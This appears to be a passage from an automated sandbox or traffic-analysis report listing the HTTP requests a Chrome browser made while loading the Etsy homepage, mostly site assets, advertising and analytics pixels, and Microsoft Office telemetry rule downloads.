Source: global traffic	HTTP traffic detected: GET /6220.js HTTP/1.1Host: www.dwin1.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ac/evergreenVendor/js/en-US/vesta_homepage/bootstrap.9dfe088c54b7c914b716.js HTTP/1.1Host: www.etsy.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7; _gcl_au=1.1.1464974207.1731004355
Source: global traffic	HTTP traffic detected: GET /12188102/r/il/e24ab7/6275743143/il_300x300.6275743143_souf.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /8622539/r/il/d0e539/4178592230/il_300x300.4178592230_icjm.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /18124409/r/il/88e6b9/5506996893/il_300x300.5506996893_km7m.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=8398;g=homepage;gid=34719;ord=1731004351?gtmcb=992407745;ip=173.254.250.79;cuidchk=1 HTTP/1.1Host: trkn.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: barometric[cuid]=cuid_672d07c5-9cd0-4170-a28f-8f029ca75b88
Source: global traffic	HTTP traffic detected: GET /ping.min.js HTTP/1.1Host: cdn.pdst.fmConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/button.js HTTP/1.1Host: web.btncdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/v2/ktag.js?tid=KT-N3B63-3EB HTTP/1.1Host: resources.xg4ken.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ct/lib/main.be180668.js HTTP/1.1Host: s.pinimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /site.webmanifest HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 10sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /p/action/4020083.js HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /td/rul/658194373?random=1731004357425&cv=11&fst=1731004357425&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4au0v870186735z86935543za201zb6935543&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&label=XwNfCLSf5dkDEMX_7LkC&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&ct_cookie_present=0 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/ga/rul?tid=G-KR3J610VYM&gacid=1731730657.1731004358&gtm=45je4au0v868381678z86935543za200zb6935543&dma=0&gcs=G111&gcd=13t3t3t3t5l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101823848~101925629&z=1205360004 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: 8666735.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: 8666735.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: 9910951.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: trigger, event-source;navigation-sourceReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source=navigation-source, triggerReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lantern_global_6220.min.js HTTP/1.1Host: lantern.roeyecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: not-navigation-source, trigger, event-sourceReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ct/core.js HTTP/1.1Host: s.pinimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
